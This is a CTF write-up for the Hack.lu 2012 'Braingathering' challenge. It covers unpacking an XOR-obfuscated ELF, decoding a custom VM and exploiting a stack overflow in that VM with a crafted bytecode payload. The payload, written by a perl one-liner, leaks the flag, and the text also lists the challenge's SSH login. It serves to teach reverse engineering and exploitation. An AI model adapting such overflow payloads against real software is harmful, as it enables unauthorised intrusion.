Hack.lu CTF 2012: Braingathering (500 points)
We fought our way to the main server room. The zombies realized that they
run out of humans sooner or later, so they started to build machines to
create humans for them to eat. Those machines have a special code which is
only known to the zombies. This code is capable of destroying all
breeding-machines. Now, it's all up to you to get this code and tell us so
that we can destroy all machines.
SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop
credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
Braingathering is an elf32 binary which asks for 3 choices:
- 1) Need Brainz brainz brainz, Zombie huuuungry!
- 2) How much longer till braaaiiiiinz?
- 3) Nooo more brainz! STOP THE BRAINZ!
The two first are not interesting, but the third asks us for a password and compares it with the content of the “killcode”. If the password entered by the user is right, it prints us:
YEAH, now go and submit the killcode so that we can stop other systems as well
So we need to leak this password or to get a shell to print the content of the file “killcode”.
Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section’s type to PROGBITS and we can see a simple deciphering loop.
loc_8048BC1: ; CODE XREF: start+1Aj
mov eax, offset loc_8048500
mov ecx, 6A1h
loc_8048BCD: ; CODE XREF: start-Aj
xor byte ptr [eax], 8Ch
inc eax
dec ecx
cmp ecx, 0
jg short loc_8048BCD
The binary xors bytes from 0x8048500
to 0x8048ba1
with 0x8C
, and jumps to
0x8048500
, the real entry point. Fix is simple: write a simple C program to do
the task for us. Now we can open it with IDA, and we can see a switch case with
246 entries, it’s definitively a VM.
It’s friday night, and I was bored, so I decided to write an IDA processor for this vm:
Now we just have to dump the vm from offset 0x2060
to 0x2847
, and use this
processor: “brain VM CPU: brain”.
The first thing the vm does is decyphering his code with xor 0x7A7A
from offset
0x50
to 0x1050
. Again the solution is to write a simple C program to do the
task for us.
Ok now we have the full code of the VM!
The only interesting sub is at offset 0x014E
, we can call ask-for-password, it
is the sub for the third choice.
The problem in this function is that a stack based buffer overflow can occur.
It reserves 0x34
(52) bytes on the stack for the buffer, but reads on STDIN
0x36
(54), so we can overwrite the return address of this sub inside the VM.
0x187 MOV R4, $8000
0x18A MOV R1, $10
0x18D CALL memcpy
The password will be copied to address 0x8000
, and our buffer to 0x7000
, to
compare them in sub-function sub_00FC
.
The opcode 0x3F
is able to write a buffer to a file descriptor.
0x3F opcode, write(*PC, R4, strlen(R4));
So the idea is to put in R4 the adress of the password and execute this opcode.
The opcode 0x49
is perfect for this task :
0x49 mov r4, [PC]
So the payload looks like this:
0x49 0x00 0x80 ; mov r4, 0x8000
0x40 0x01 ; write(STDOUT_FILENO, r4, strlen(R4));
0x53 0x0D 0x70 ; Adresse return for sub_print_newline (buffer + 0xD) for
ending correctly exploit
0x53 0x03 0x01 ; push 0x013E (@ of sub_print_newline)
0x58 ; ret
"0xFF"*43 ; END VM
0x00 0x70 ; New Address to return (@buffer)
Result:
ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload
ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload
==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.
1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!
X) Nah, I'm going to get my brains somewhere else.
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3
INVALID
OMG_VMAP0CALYPS3